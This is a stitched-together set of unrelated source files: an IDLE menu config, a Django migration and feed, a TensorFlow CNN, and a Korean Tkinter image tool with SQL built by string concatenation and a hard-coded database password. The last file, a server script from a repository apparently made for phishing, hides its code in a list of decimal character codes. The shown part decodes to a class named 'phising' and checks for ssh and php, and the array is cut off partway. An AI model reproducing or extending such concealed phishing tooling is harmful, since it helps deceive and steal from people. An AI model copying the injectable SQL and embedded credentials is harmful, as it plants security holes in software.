'<<paste>>'), ('Select _All', '<<select-all>>'), None, ('_Find...', '<<find>>'), ('Find A_gain', '<<find-again>>'), ('Find _Selection', '<<find-selection>>'), ('Find in Files...', '<<find-in-files>>'), ('R_eplace...', '<<replace>>'), ('Go to _Line', '<<goto-line>>')]), ( 'format', [ ('_Indent Region', '<<indent-region>>'), ('_Dedent Region', '<<dedent-region>>'), ('Comment _Out Region', '<<comment-region>>'), ('U_ncomment Region', '<<uncomment-region>>'), ('Tabify Region', '<<tabify-region>>'), ('Untabify Region', '<<untabify-region>>'), ('Toggle Tabs', '<<toggle-tabs>>'), ('New Indent Width', '<<change-indentwidth>>')]), ( 'run', [ ('Python Shell', '<<open-python-shell>>')]), ( 'shell', [ ('_View Last Restart', '<<view-restart>>'), ('_Restart Shell', '<<restart-shell>>')]), ( 'debug', [ ('_Go to File/Line', '<<goto-file-line>>'), ('!_Debugger', '<<toggle-debugger>>'), ('_Stack Viewer', '<<open-stack-viewer>>'), ('!_Auto-open Stack Viewer', '<<toggle-jit-stack-viewer>>')]), ( 'options', [ ('_Configure IDLE...', '<<open-config-dialog>>'), None]), ( 'help', [ ('_About IDLE', '<<about-idle>>'), None, ('_IDLE Help', '<<help>>'), ('Python _Docs', '<<python-docs>>')])] if macosxSupport.runningAsOSXApp(): quitItem = menudefs[0][1][-1] closeItem = menudefs[0][1][-2] del menudefs[0][1][-3:] menudefs[0][1].insert(6, closeItem) del menudefs[-1][1][0:2] default_keydefs = idleConf.GetCurrentKeySet() del sys
3992e4cfa297274e2d85355c42f979d6de7326c2
f52997ac7e1b41f34018c3a0028ced8638072b2b
/src/peoplefinder/migrations/0090_data_person_new_country.py
1745636c4926fcb0b87247bd92c8f80294e57bf4
[ "MIT" ]
permissive
uktrade/digital-workspace-v2
49fae1fca819b625c6f6949fb5ce51b89fbcab96
7e328d0d55c9aa73be61f476823a743d96e792d0
refs/heads/main
2023-09-03T12:03:47.016608
2023-09-01T12:07:55
2023-09-01T12:07:55
232,302,840
6
0
MIT
2023-09-13T15:50:24
2020-01-07T10:41:18
Python
UTF-8
Python
false
false
820
py
# Generated by Django 3.2.13 on 2022-05-23 13:15 from django.db import migrations def insert_person_new_country(apps, schema_editor): Person = apps.get_model("peoplefinder", "Person") Country = apps.get_model("countries", "Country") all_people = Person.objects.select_related("country").all() country_lookup = Country.objects.all().in_bulk(field_name="iso_2_code") people_to_update = [] for person in all_people: person.new_country = country_lookup[person.country.code] people_to_update.append(person) Person.objects.bulk_update(people_to_update, ["new_country"], batch_size=100) class Migration(migrations.Migration): dependencies = [ ("peoplefinder", "0089_person_new_country"), ] operations = [migrations.RunPython(insert_person_new_country)]
03960f0f3fa5ef588fe7de7fb3dff054e493b677
90e1f9d99ab05ce34380f7b63ec3c6a2f02f3d62
/src/team503/src/traffic_sign_detect/CNN_3channels_4conv.py
18f641b42ae797f3a77c79becae44d8dd3b29087
[]
no_license
sihcpro/The-Number1c-Rac1ng
eb038099c8deb6fbb6e88cde60c7a7f25474e5da
856434acec52f52a8784199180692abbdb4a49e8
refs/heads/master
2020-04-12T10:07:24.182205
2019-01-15T22:21:43
2019-01-15T22:21:43
162,419,934
0
0
null
null
null
null
UTF-8
Python
false
false
3,463
py
import pickle import cv2 from sklearn.utils import shuffle import tensorflow as tf TRAIN_DATA_DIR = "data/raw/training/augmented/" TEST_DATA_DIR = "data/raw/testing" # TEST_DATA_DIR = "data/raw/testing/00014" CNN_MODEL_DIR = "model/CNN/3cnn_4conv.ckpt" PICKLE_IMGS_DIR = "data/pickle/train_imgs_56.pkl" PICKLE_LABELS_DIR = "data/pickle/test_labels.pkl" NUM_CLASSES = 9 IMG_SIZE = 56 def deepnn(x): with tf.name_scope('reshape'): x_image = x # x_image = tf.placeholder([-1, 28, 28, 3]) # First convolutional layer - maps one grayscale image to 32 feature maps. with tf.name_scope('conv1'): W_conv1 = weight_variable([5, 5, 3, 32]) b_conv1 = bias_variable([32]) h_conv1 = tf.nn.relu(conv2d(x_image, W_conv1) + b_conv1) # Pooling layer - downsamples by 2X. with tf.name_scope('pool1'): h_pool1 = max_pool_2x2(h_conv1) # Second convolutional layer -- maps 32 feature maps to 64. with tf.name_scope('conv2'): W_conv2 = weight_variable([5, 5, 32, 64]) b_conv2 = bias_variable([64]) h_conv2 = tf.nn.relu(conv2d(h_pool1, W_conv2) + b_conv2) # Second pooling layer. with tf.name_scope('pool2'): h_pool2 = max_pool_2x2(h_conv2) # Third convolutional layer -- maps 64 feature maps to 64. with tf.name_scope('conv3'): W_conv3 = weight_variable([5, 5, 64, 64]) b_conv3 = bias_variable([64]) h_conv3 = tf.nn.relu(conv2d(h_pool2, W_conv3) + b_conv3) # Forth convolutional layer -- maps 64 feature maps to 64. with tf.name_scope('conv4'): W_conv4 = weight_variable([5, 5, 64, 64]) b_conv4 = bias_variable([64]) h_conv4 = tf.nn.relu(conv2d(h_conv3, W_conv4) + b_conv4) # Third pooling layer. with tf.name_scope('pool3'): h_pool3 = max_pool_2x2(h_conv4) # Fully connected layer 1 -- after 2 round of downsampling, our 28x28 image # is down to 7x7x64 feature maps -- maps this to 1024 features. with tf.name_scope('fc1'): W_fc1 = weight_variable([7 * 7 * 64, 1024]) b_fc1 = bias_variable([1024]) h_pool3_flat = tf.reshape(h_pool3, [-1, 7 * 7 * 64]) h_fc1 = tf.nn.relu(tf.matmul(h_pool3_flat, W_fc1) + b_fc1) # Dropout - controls the complexity of the model, prevents co-adaptation of # features. with tf.name_scope('dropout'): keep_prob = tf.placeholder(tf.float32) h_fc1_drop = tf.nn.dropout(h_fc1, keep_prob) # Map the 1024 features to NUM_CLASSES classes, one for each digit with tf.name_scope('fc2'): W_fc2 = weight_variable([1024, NUM_CLASSES]) b_fc2 = bias_variable([NUM_CLASSES]) y_conv = tf.matmul(h_fc1_drop, W_fc2) + b_fc2 return y_conv, keep_prob def conv2d(x, W): """conv2d returns a 2d convolution layer with full stride.""" return tf.nn.conv2d(x, W, strides=[1, 1, 1, 1], padding='SAME') def max_pool_2x2(x): """max_pool_2x2 downsamples a feature map by 2X.""" return tf.nn.max_pool(x, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME') def weight_variable(shape): """weight_variable generates a weight variable of a given shape.""" initial = tf.truncated_normal(shape, stddev=0.1) return tf.Variable(initial) def bias_variable(shape): """bias_variable generates a bias variable of a given shape.""" initial = tf.constant(0.1, shape=shape) return tf.Variable(initial)
89fbdba1b70cdb22da26e68b9978fd3abcd9e436
6e3e1834eaad3a0c97bf645238e59a0599e047b4
/blog/feeds.py
720465e3999af4b68079e03f4bb4db306ed758e4
[ "JSON" ]
permissive
davogler/davsite
2dc42bfebb476d94f92520e8829999859deae80b
edd8ceed560690fa2c3eefde236416ffba559a2e
refs/heads/master
2021-01-19T06:31:20.655909
2014-01-03T19:04:13
2014-01-03T19:04:13
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,119
py
from django.core.exceptions import ObjectDoesNotExist from django.utils.feedgenerator import Atom1Feed from django.contrib.sites.models import Site from django.contrib.syndication.views import Feed from blog.models import Category, Entry current_site = Site.objects.get_current() class LatestEntriesFeed(Feed): author_name = "David Vogler" copyright = "http://%s/about/" % current_site.domain description = "Latest entries posted to %s" % current_site.name feed_type = Atom1Feed item_copyright = "http://%s/about/" % current_site.domain item_author_name = "David Vogler" item_author_link = "http://%s/" % current_site.domain link = "/feeds/entries/" title = "%s: Latest entries" % current_site.name def items(self): return Entry.live.all()[:15] def item_pubdate(self, item): return item.pub_date def item_guid(self, item): return "tag:%s,%s:%s" % (current_site.domain, item.pub_date.strftime('%Y-%m-%d'), item.get_absolute_url()) def item_categories(self, item): return [c.title for c in item.categories.all()]
408be7c9835520057e0fd69759857a3e3bc02f1d
b0b87924d07101e25fa56754ceaa2f22edc10208
/workspace/python_study/Woojae_nam/Wu/Day11-05.py
e07fe32103a8b2b11607f10373a2d4d795669ccd
[]
no_license
SoheeKwak/Python
2295dd03e5f235315d07355cbe72998f8b86c147
e1a5f0ecf31e926f2320c5df0e3416306b8ce316
refs/heads/master
2020-04-02T13:49:58.367361
2018-11-23T09:33:23
2018-11-23T09:33:23
154,499,204
0
0
null
null
null
null
UTF-8
Python
false
false
20,792
py
## 영상 처리 및 데이터 분석 툴 from tkinter import *; import os.path ;import math from tkinter.filedialog import * from tkinter.simpledialog import * ## 함수 선언부 def loadImage(fname) : global window, canvas, paper, filename, inImage, outImage, inW, inH, outW, outH fsize = os.path.getsize(fname) # 파일 크기 확인 inH = inW = int(math.sqrt(fsize)) # 입력메모리 크기 결정! (중요) inImage = []; tmpList = [] for i in range(inH) : # 입력메모리 확보(0으로 초기화) tmpList = [] for k in range(inW) : tmpList.append(0) inImage.append(tmpList) # 파일 --> 메모리로 데이터 로딩 fp = open(fname, 'rb') # 파일 열기(바이너리 모드) for i in range(inH) : for k in range(inW) : inImage[i][k] = int(ord(fp.read(1))) fp.close() def openFile() : global window, canvas, paper, filename,inImage, outImage,inW, inH, outW, outH filename = askopenfilename(parent=window, filetypes=(("RAW파일", "*.raw"), ("모든파일", "*.*"))) loadImage(filename) # 파일 --> 입력메모리 equal() # 입력메모리--> 출력메모리 import threading def display() : global window, canvas, paper, filename, inImage, outImage, inW, inH, outW, outH # 기존에 캐버스 있으면 뜯어내기. if canvas != None : canvas.destroy() # 화면 준비 (고정됨) VIEW_X, VIEW_Y = 128, 128 if VIEW_X >= outW or VIEW_Y >= outH : #영상이 128미만이면 VIEW_X = outW VIEW_Y = outH step =1 # 건너뛸 숫자 else : step = int(outW / VIEW_X) window.geometry(str(VIEW_X*2) + 'x' + str(VIEW_Y*2)) canvas = Canvas(window, width=VIEW_X, height=VIEW_Y) paper = PhotoImage(width=VIEW_X, height=VIEW_Y) canvas.create_image((VIEW_X/2, VIEW_Y/2), image=paper, state='normal') # 화면에 출력 def putPixel() : for i in range(0, outH, step) : for k in range(0, outW, step) : data = outImage[i][k] paper.put('#%02x%02x%02x' % (data, data, data), (int(k/step),int(i/step))) threading.Thread(target=putPixel).start() canvas.pack(expand=1, anchor=CENTER) status.configure(text='이미지 정보:' + str(outW) + 'x' + str(outH)) def equal() : # 동일 영상 알고리즘 global window, canvas, paper, filename, inImage, outImage, inW, inH, outW, outH # 중요! 출력메모리의 크기를 결정 outW = inW; outH = inH; outImage = []; tmpList = [] for i in range(outH): # 출력메모리 확보(0으로 초기화) tmpList = [] for k in range(outW): tmpList.append(0) outImage.append(tmpList) ############################# # 진짜 영상처리 알고리즘을 구현 ############################ for i in range(inH) : for k in range(inW) : outImage[i][k] = inImage[i][k] display() def addImage() : # 밝게하기 알고리즘 global window, canvas, paper, filename, inImage, outImage, inW, inH, outW, outH # 중요! 출력메모리의 크기를 결정 outW = inW; outH = inH; outImage = []; tmpList = [] for i in range(outH): # 출력메모리 확보(0으로 초기화) tmpList = [] for k in range(outW): tmpList.append(0) outImage.append(tmpList) ############################# # 진짜 영상처리 알고리즘을 구현 ############################ value = askinteger('밝게하기', '밝게할 값-->', minvalue=1, maxvalue=255) for i in range(inH) : for k in range(inW) : if inImage[i][k] + value > 255 : outImage[i][k] = 255 else : outImage[i][k] = inImage[i][k] + value display() def a_average() : # 입출력 영상의 평균값 global window, canvas, paper, filename, inImage, outImage, inW, inH, outW, outH rawSum = 0 for i in range(inH) : for k in range(inW) : rawSum += inImage[i][k] inRawAvg = int(rawSum / (inH*inW)) rawSum = 0 for i in range(outH) : for k in range(outW) : rawSum += outImage[i][k] outRawAvg = int(rawSum / (outH*outW)) subWindow = Toplevel(window) # 부모(window)에 종속된 서브윈도 subWindow.geometry('200x100') label1 = Label(subWindow, text='입력영상 평균값 -->' + str(inRawAvg) ); label1.pack() label2 = Label(subWindow, text='출력영상 평균값 -->' + str(outRawAvg)); label2.pack() subWindow.mainloop() def upDown() : # 상하 반전 알고리즘 global window, canvas, paper, filename, inImage, outImage, inW, inH, outW, outH # 중요! 출력메모리의 크기를 결정 outW = inW; outH = inH; outImage = []; tmpList = [] for i in range(outH): # 출력메모리 확보(0으로 초기화) tmpList = [] for k in range(outW): tmpList.append(0) outImage.append(tmpList) ############################# # 진짜 영상처리 알고리즘을 구현 ############################ for i in range(inH) : for k in range(inW) : outImage[outW-1-i][k] = inImage[i][k] display() def panImage() : global panYN panYN = True def mouseClick(event) : # 동일 영상 알고리즘 global window, canvas, paper, filename, inImage, outImage, inW, inH, outW, outH global sx, sy, ex, ey, panYN if not panYN : return sx = event.x; sy = event.y; def mouseDrop(event): # 동일 영상 알고리즘 global window, canvas, paper, filename, inImage, outImage, inW, inH, outW, outH global sx, sy, ex, ey, panYN if not panYN: return ex = event.x; ey = event.y; my = sx - ex ; mx = sy - ey # 중요! 출력메모리의 크기를 결정 outW = inW; outH = inH; outImage = []; tmpList = [] for i in range(outH): # 출력메모리 확보(0으로 초기화) tmpList = [] for k in range(outW): tmpList.append(0) outImage.append(tmpList) ############################# # 진짜 영상처리 알고리즘을 구현 ############################ for i in range(inH) : for k in range(inW) : if 0<= i-mx <outH and 0<= k-my < outW : outImage[i-mx][k-my] = inImage[i][k] panYN = False display() def zoomOut() : # 축소하기 알고리즘 global window, canvas, paper, filename, inImage, outImage, inW, inH, outW, outH # 중요! 출력메모리의 크기를 결정 scale = askinteger('축소하기', '축소할 배수-->', minvalue=2, maxvalue=32) outW = int(inW/scale); outH = int(inH/scale) outImage = []; tmpList = [] for i in range(outH): # 출력메모리 확보(0으로 초기화) tmpList = [] for k in range(outW): tmpList.append(0) outImage.append(tmpList) ############################# # 진짜 영상처리 알고리즘을 구현 ############################ for i in range(inH) : for k in range(inW) : outImage[int(i/scale)][int(k/scale)] = inImage[i][k] display() import struct def saveFile() : global window, canvas, paper, filename,inImage, outImage,inW, inH, outW, outH saveFp = asksaveasfile(parent=window, mode='wb', defaultextension="*.raw", filetypes=(("RAW파일", "*.raw"), ("모든파일", "*.*"))) for i in range(outW): for k in range(outH): saveFp.write( struct.pack('B',outImage[i][k])) saveFp.close() def exitFile() : global window, canvas, paper, filename,inImage, outImage,inW, inH, outW, outH pass import csv def saveCSV() : global window, canvas, paper, filename, inImage, outImage, inW, inH, outW, outH output_file = asksaveasfile(parent=window, mode='w', defaultextension="*.csv", filetypes=(("CSV파일", "*.csv"), ("모든파일", "*.*"))) output_file = output_file.name header = ['Column', 'Row', 'Value'] with open(output_file, 'w', newline='') as filewriter: csvWriter = csv.writer(filewriter) csvWriter.writerow(header) for row in range(outW): for col in range(outH): data = outImage[row][col] row_list = [row, col, data] csvWriter.writerow(row_list) print('OK!') def saveShuffleCSV() : pass def loadCSV(fname) : global window, canvas, paper, filename, inImage, outImage, inW, inH, outW, outH fsize = -1 fp = open(fname, 'r') for f in fp : fsize += 1 fp.close() inH = inW = int(math.sqrt(fsize)) # 입력메모리 크기 결정! (중요) inImage = []; tmpList = [] for i in range(inH) : # 입력메모리 확보(0으로 초기화) tmpList = [] for k in range(inW) : tmpList.append(0) inImage.append(tmpList) # 파일 --> 메모리로 데이터 로딩 fp = open(fname, 'r') # 파일 열기(바이너리 모드) csvFP = csv.reader(fp) next(csvFP) for row_list in csvFP : row= int(row_list[0]) ; col = int(row_list[1]) ; value=int(row_list[2]) inImage[row][col] = value fp.close() def openCSV() : global window, canvas, paper, filename,inImage, outImage,inW, inH, outW, outH filename = askopenfilename(parent=window, filetypes=(("CSV파일", "*.csv"), ("모든파일", "*.*"))) loadCSV(filename) # 파일 --> 입력메모리 equal() # 입력메모리--> 출력메모리 import sqlite3 def saveSQLite() : global window, canvas, paper, filename, inImage, outImage, inW, inH, outW, outH global csvList, input_file con = sqlite3.connect('imageDB') # 데이터베이스 지정(또는 연결) cur = con.cursor() # 연결 통로 생성 (쿼리문을 날릴 통로) # 열이름 리스트 만들기 colList = [] fname = os.path.basename(filename).split(".")[0] try: sql = "CREATE TABLE imageTable( filename CHAR(20), resolution smallint" + \ ", row smallint, col smallint, value smallint)" cur.execute(sql) except: pass for i in range(inW) : for k in range(inH) : sql = "INSERT INTO imageTable VALUES('" + fname + "'," + str(inW) + \ "," + str(i) + "," + str(k) + "," + str(inImage[i][k]) +")" cur.execute(sql) con.commit() cur.close() con.close() # 데이터베이스 연결 종료 print('Ok!') def openSQLite() : global window, canvas, paper, filename, inImage, outImage, inW, inH, outW, outH global csvList, input_file con = sqlite3.connect('imageDB') # 데이터베이스 지정(또는 연결) cur = con.cursor() # 연결 통로 생성 (쿼리문을 날릴 통로) try : sql = "SELECT DISTINCT filename, resolution FROM imageTable" cur.execute(sql) tableNameList = [] # ['강아지:128', '강아지:512' ....] while True : row = cur.fetchone() if row == None : break tableNameList.append( row[0] + ':' + str(row[1]) ) ######## 내부 함수 (Inner Function) : 함수 안의 함수,지역함수 ####### def selectTable() : global window, canvas, paper, filename, inImage, outImage, inW, inH, outW, outH selectedIndex = listbox.curselection()[0] subWindow.destroy() fname, res = tableNameList[selectedIndex].split(':') filename = fname sql = "SELECT row, col, value FROM imageTable WHERE filename='" + \ fname + "' AND resolution=" + res print(sql) cur.execute(sql) inH = inW = int(res) inImage = []; tmpList = [] for i in range(inH): # 입력메모리 확보(0으로 초기화) tmpList = [] for k in range(inW): tmpList.append(0) inImage.append(tmpList) while True : row_tuple = cur.fetchone() if row_tuple == None : break row, col, value = row_tuple inImage[row][col] = value cur.close() con.close() equal() print("Ok! openSQLite") ################################################################ subWindow = Toplevel(window) listbox = Listbox(subWindow) button = Button(subWindow, text='선택', command=selectTable) listbox.pack(); button.pack() for sName in tableNameList : listbox.insert(END, sName) subWindow.lift() except : cur.close() con.close() print("Error! openSQLite") import pymysql def saveMySQL() : global window, canvas, paper, filename, inImage, outImage, inW, inH, outW, outH global csvList, input_file con = pymysql.connect(host='192.168.174.129', user='root', password='1234', db='imageDB', charset='utf8') # 데이터베이스 지정(또는 연결) cur = con.cursor() # 연결 통로 생성 (쿼리문을 날릴 통로) # 열이름 리스트 만들기 colList = [] fname = os.path.basename(filename).split(".")[0] try: sql = "CREATE TABLE imageTable( filename CHAR(20), resolution smallint" + \ ", row smallint, col smallint, value smallint)" cur.execute(sql) except: pass try: sql = "DELETE FROM imageTable WHERE filename='" + \ fname + "' AND resolution=" + str(outW) cur.execute(sql) con.commit() except: pass for i in range(inW) : for k in range(inH) : sql = "INSERT INTO imageTable VALUES('" + fname + "'," + str(outW) + \ "," + str(i) + "," + str(k) + "," + str(outImage[i][k]) +")" cur.execute(sql) con.commit() cur.close() con.close() # 데이터베이스 연결 종료 print('Ok! saveMySQL') def openMySQL() : global window, canvas, paper, filename, inImage, outImage, inW, inH, outW, outH global csvList, input_file con = pymysql.connect(host='192.168.174.129', user='root', password='1234', db='imageDB', charset='utf8') # 데이터베이스 지정(또는 연결) cur = con.cursor() # 연결 통로 생성 (쿼리문을 날릴 통로) try : sql = "SELECT DISTINCT filename, resolution FROM imageTable" cur.execute(sql) tableNameList = [] # ['강아지:128', '강아지:512' ....] while True : row = cur.fetchone() if row == None : break tableNameList.append( row[0] + ':' + str(row[1]) ) ######## 내부 함수 (Inner Function) : 함수 안의 함수,지역함수 ####### def selectTable() : global window, canvas, paper, filename, inImage, outImage, inW, inH, outW, outH selectedIndex = listbox.curselection()[0] subWindow.destroy() fname, res = tableNameList[selectedIndex].split(':') filename = fname sql = "SELECT row, col, value FROM imageTable WHERE filename='" + \ fname + "' AND resolution=" + res print(sql) cur.execute(sql) inH = inW = int(res) inImage = []; tmpList = [] for i in range(inH): # 입력메모리 확보(0으로 초기화) tmpList = [] for k in range(inW): tmpList.append(0) inImage.append(tmpList) while True : row_tuple = cur.fetchone() if row_tuple == None : break row, col, value = row_tuple inImage[row][col] = value cur.close() con.close() equal() print("Ok! openMySQL") ################################################################ subWindow = Toplevel(window) listbox = Listbox(subWindow) button = Button(subWindow, text='선택', command=selectTable) listbox.pack(); button.pack() for sName in tableNameList : listbox.insert(END, sName) subWindow.lift() except : cur.close() con.close() print("Error! openMySQL") import xlwt def saveExcel1() : global window, canvas, paper, filename, inImage, outImage, inW, inH, outW, outH output_file = asksaveasfile(parent=window, mode='w', defaultextension="*.xls", filetypes=(("XLS파일", "*.xls"), ("모든파일", "*.*"))) output_file = output_file.name sheetName = os.path.basename(output_file).split(".")[0] wb = xlwt.Workbook() ws = wb.add_sheet(sheetName) for rowNum in range(outH): for colNum in range(outW): data = outImage[rowNum][colNum] ws.write(rowNum, colNum, data) wb.save(output_file) print('OK! saveExcel1') import xlsxwriter def saveExcel2() : global window, canvas, paper, filename, inImage, outImage, inW, inH, outW, outH output_file = asksaveasfile(parent=window, mode='w', defaultextension="*.xlsx", filetypes=(("XLSX파일", "*.xls"), ("모든파일", "*.*"))) output_file = output_file.name sheetName = os.path.basename(output_file).split(".")[0] wb = xlsxwriter.Workbook(output_file) ws = wb.add_worksheet(sheetName) ws.set_column(0, outW, 1.0) # 약 0.34 쯤 for r in range(outH): ws.set_row(r, 9.5) # 약 0.35 쯤 for rowNum in range(outW) : for colNum in range(outH) : data = outImage[rowNum][colNum] # data 값으로 셀의 배경색을 조절 #000000~#FFFFFF if data > 15 : hexStr = '#' + (hex(data)[2:])*3 else : hexStr = '#' + ('0' + hex(data)[2:]) * 3 # 셀의 포맷을 준비 cell_format = wb.add_format() cell_format.set_bg_color(hexStr) ws.write(rowNum, colNum, '', cell_format) wb.close() print('OK! saveExcel2') ## 전역 변수부 window, canvas, paper, filename = [None] * 4 inImage, outImage = [], []; inW, inH, outW, outH = [0] * 4 panYN = False; sx, sy, ex, ey = [0] * 4 VIEW_X, VIEW_Y = 128, 128 # 상수로 씀(대문자) status = None ## 메인 코드부 window = Tk(); window.geometry('400x400') window.title('영상 처리&데이터 분석 Ver 0.7') window.bind("<Button-1>", mouseClick) window.bind("<ButtonRelease-1>", mouseDrop) status = Label(window, text='이미지 정보', bd=1, relief=SUNKEN, anchor=W) status.pack(side=BOTTOM, fill=X) mainMenu = Menu(window);window.config(menu=mainMenu) fileMenu = Menu(mainMenu);mainMenu.add_cascade(label='파일', menu=fileMenu) fileMenu.add_command(label='열기', command=openFile) fileMenu.add_command(label='저장', command=saveFile) fileMenu.add_separator() fileMenu.add_command(label='종료', command=exitFile) pixelMenu = Menu(mainMenu);mainMenu.add_cascade(label='화소점처리', menu=pixelMenu) pixelMenu.add_command(label='동일영상', command=equal) pixelMenu.add_command(label='밝게하기', command=addImage) geoMenu = Menu(mainMenu);mainMenu.add_cascade(label='기하학 처리', menu=geoMenu) geoMenu.add_command(label='상하반전', command=upDown) geoMenu.add_command(label='화면이동', command=panImage) geoMenu.add_command(label='화면축소', command=zoomOut) analyzeMenu = Menu(mainMenu);mainMenu.add_cascade(label='데이터분석', menu=analyzeMenu) analyzeMenu.add_command(label='평균값', command=a_average) otherMenu = Menu(mainMenu);mainMenu.add_cascade(label='다른 포맷 처리', menu=otherMenu) otherMenu.add_command(label='CSV로 내보내기', command=saveCSV) otherMenu.add_command(label='CSV(셔플)로 내보내기', command=saveShuffleCSV) otherMenu.add_command(label='CSV 불러오기', command=openCSV) otherMenu.add_separator() otherMenu.add_command(label='SQLite로 내보내기', command=saveSQLite) otherMenu.add_command(label='SQLite에서 가져오기', command=openSQLite) otherMenu.add_separator() otherMenu.add_command(label='MySQL로 내보내기', command=saveMySQL) otherMenu.add_command(label='MySQL에서 가져오기', command=openMySQL) otherMenu.add_separator() otherMenu.add_command(label='Excel로 내보내기(숫자)', command=saveExcel1) otherMenu.add_command(label='Excel로 내보내기(음영)', command=saveExcel2) window.mainloop()
2746f2bfab9222260e2d22482a7b2408971cda51
f7ba8dfe90d5ddf2c2f90950fc36a91cf43f84c6
/data/create_server.py
7d3c811bc2a978c4baf1577fab5339a0e7767aaa
[]
no_license
Sazxt/asu-ngentod
7e9f5c3fd563d9cc52eb886e697f3344b7e19b25
cc3d4f830efb383bef3c3eda9e30b528ca7ce7f9
refs/heads/master
2020-07-27T21:48:52.966235
2019-09-18T05:32:13
2019-09-18T05:32:13
209,225,278
1
4
null
null
null
null
UTF-8
Python
false
false
33,006
py
d=[35, 45, 42, 45, 99, 111, 100, 105, 110, 103, 58, 117, 116, 102, 45, 56, 45, 42, 45, 10, 35, 32, 67, 111, 100, 101, 100, 32, 66, 121, 32, 68, 101, 114, 97, 121, 10, 39, 39, 39, 10, 9, 32, 82, 101, 98, 117, 105, 108, 100, 32, 67, 111, 112, 121, 114, 105, 103, 104, 116, 32, 67, 97, 110, 39, 116, 32, 109, 97, 107, 101, 32, 117, 32, 114, 101, 97, 108, 32, 112, 114, 111, 103, 114, 97, 109, 109, 101, 114, 10, 39, 39, 39, 10, 35, 32, 82, 101, 112, 111, 114, 116, 32, 66, 117, 103, 32, 79, 110, 32, 77, 121, 32, 79, 116, 104, 101, 114, 32, 83, 111, 115, 109, 101, 100, 10, 35, 32, 105, 110, 115, 116, 97, 103, 114, 97, 109, 58, 32, 64, 114, 101, 121, 121, 48, 53, 95, 10, 35, 32, 102, 97, 99, 101, 98, 111, 111, 107, 58, 32, 104, 116, 116, 112, 115, 58, 47, 47, 102, 97, 99, 101, 98, 111, 111, 107, 46, 99, 111, 109, 47, 97, 99, 104, 109, 97, 100, 46, 108, 117, 116, 104, 102, 105, 46, 104, 97, 100, 105, 46, 51, 10, 10, 105, 109, 112, 111, 114, 116, 32, 111, 115, 10, 105, 109, 112, 111, 114, 116, 32, 115, 121, 115, 10, 105, 109, 112, 111, 114, 116, 32, 116, 105, 109, 101, 10, 105, 109, 112, 111, 114, 116, 32, 114, 101, 113, 117, 101, 115, 116, 115, 10, 102, 114, 111, 109, 32, 100, 97, 116, 97, 32, 105, 109, 112, 111, 114, 116, 32, 115, 101, 114, 118, 101, 114, 10, 102, 114, 111, 109, 32, 100, 97, 116, 97, 46, 99, 111, 108, 111, 114, 32, 105, 109, 112, 111, 114, 116, 32, 42, 10, 102, 114, 111, 109, 32, 100, 97, 116, 97, 32, 105, 109, 112, 111, 114, 116, 32, 99, 97, 99, 104, 101, 10, 105, 109, 112, 111, 114, 116, 32, 115, 117, 98, 112, 114, 111, 99, 101, 115, 115, 32, 97, 115, 32, 107, 111, 110, 116, 111, 108, 10, 10, 99, 97, 99, 104, 101, 46, 99, 108, 101, 97, 110, 67, 97, 99, 104, 101, 40, 41, 10, 10, 99, 108, 97, 115, 115, 32, 99, 101, 107, 95, 114, 101, 113, 117, 105, 114, 101, 100, 58, 10, 9, 100, 101, 102, 32, 95, 95, 105, 110, 105, 116, 95, 95, 40, 115, 101, 108, 102, 41, 58, 10, 9, 9, 119, 105, 116, 104, 32, 111, 112, 101, 110, 40, 34, 100, 97, 116, 97, 47, 108, 111, 103, 46, 116, 120, 116, 34, 44, 34, 119, 34, 41, 32, 97, 115, 32, 115, 58, 10, 9, 9, 9, 116, 114, 121, 58, 10, 9, 9, 9, 9, 107, 111, 110, 116, 111, 108, 46, 80, 111, 112, 101, 110, 40, 91, 34, 119, 104, 105, 99, 104, 34, 44, 34, 115, 115, 104, 34, 93, 44, 10, 9, 9, 9, 9, 115, 116, 100, 101, 114, 114, 61, 115, 44, 115, 116, 100, 105, 110, 61, 115, 44, 115, 116, 100, 111, 117, 116, 61, 115, 41, 10, 9, 9, 9, 9, 116, 105, 109, 101, 46, 115, 108, 101, 101, 112, 40, 49, 41, 10, 9, 9, 9, 9, 107, 111, 110, 116, 111, 108, 46, 80, 111, 112, 101, 110, 40, 91, 34, 119, 104, 105, 99, 104, 34, 44, 34, 112, 104, 112, 34, 93, 44, 10, 9, 9, 9, 9, 115, 116, 100, 101, 114, 114, 61, 115, 44, 115, 116, 100, 105, 110, 61, 115, 44, 115, 116, 100, 111, 117, 116, 61, 115, 41, 10, 9, 9, 9, 9, 116, 105, 109, 101, 46, 115, 108, 101, 101, 112, 40, 49, 41, 10, 9, 9, 9, 101, 120, 99, 101, 112, 116, 58, 112, 97, 115, 115, 10, 9, 9, 9, 119, 104, 105, 108, 101, 32, 84, 114, 117, 101, 58, 10, 9, 9, 9, 9, 111, 61, 111, 112, 101, 110, 40, 34, 100, 97, 116, 97, 47, 108, 111, 103, 46, 116, 120, 116, 34, 41, 46, 114, 101, 97, 100, 40, 41, 10, 9, 9, 9, 9, 105, 102, 32, 34, 47, 115, 115, 104, 34, 32, 105, 110, 32, 111, 58, 10, 9, 9, 9, 9, 9, 112, 97, 115, 115, 10, 9, 9, 9, 9, 101, 108, 115, 101, 58, 10, 9, 9, 9, 9, 9, 115, 121, 115, 46, 101, 120, 105, 116, 40, 34, 37, 115, 91, 33, 93, 37, 115, 32, 111, 112, 101, 110, 115, 115, 104, 32, 110, 111, 116, 32, 105, 110, 115, 116, 97, 108, 108, 101, 100, 34, 37, 40, 82, 44, 78, 41, 41, 10, 9, 9, 9, 9, 105, 102, 32, 34, 47, 112, 104, 112, 34, 32, 105, 110, 32, 111, 58, 10, 9, 9, 9, 9, 9, 98, 114, 101, 97, 107, 10, 9, 9, 9, 9, 101, 108, 115, 101, 58, 10, 9, 9, 9, 9, 9, 115, 121, 115, 46, 101, 120, 105, 116, 40, 34, 37, 115, 91, 33, 93, 37, 115, 32, 112, 104, 112, 32, 110, 111, 116, 32, 105, 110, 115, 116, 97, 108, 108, 101, 100, 46, 34, 37, 40, 82, 44, 78, 41, 41, 10, 9, 9, 9, 9, 9, 10, 9, 9, 9, 9, 9, 10, 99, 108, 97, 115, 115, 32, 112, 104, 105, 115, 105, 110, 103, 40, 41, 58, 10, 9, 100, 101, 102, 32, 95, 95, 105, 110, 105, 116, 95, 95, 40, 115, 101, 108, 102, 41, 58, 10, 9, 9, 99, 101, 107, 95, 114, 101, 113, 117, 105, 114, 101, 100, 40, 41, 10, 9, 9, 115, 101, 108, 102, 46, 110, 103, 101, 110, 116, 111, 100, 40, 41, 10, 9, 100, 101, 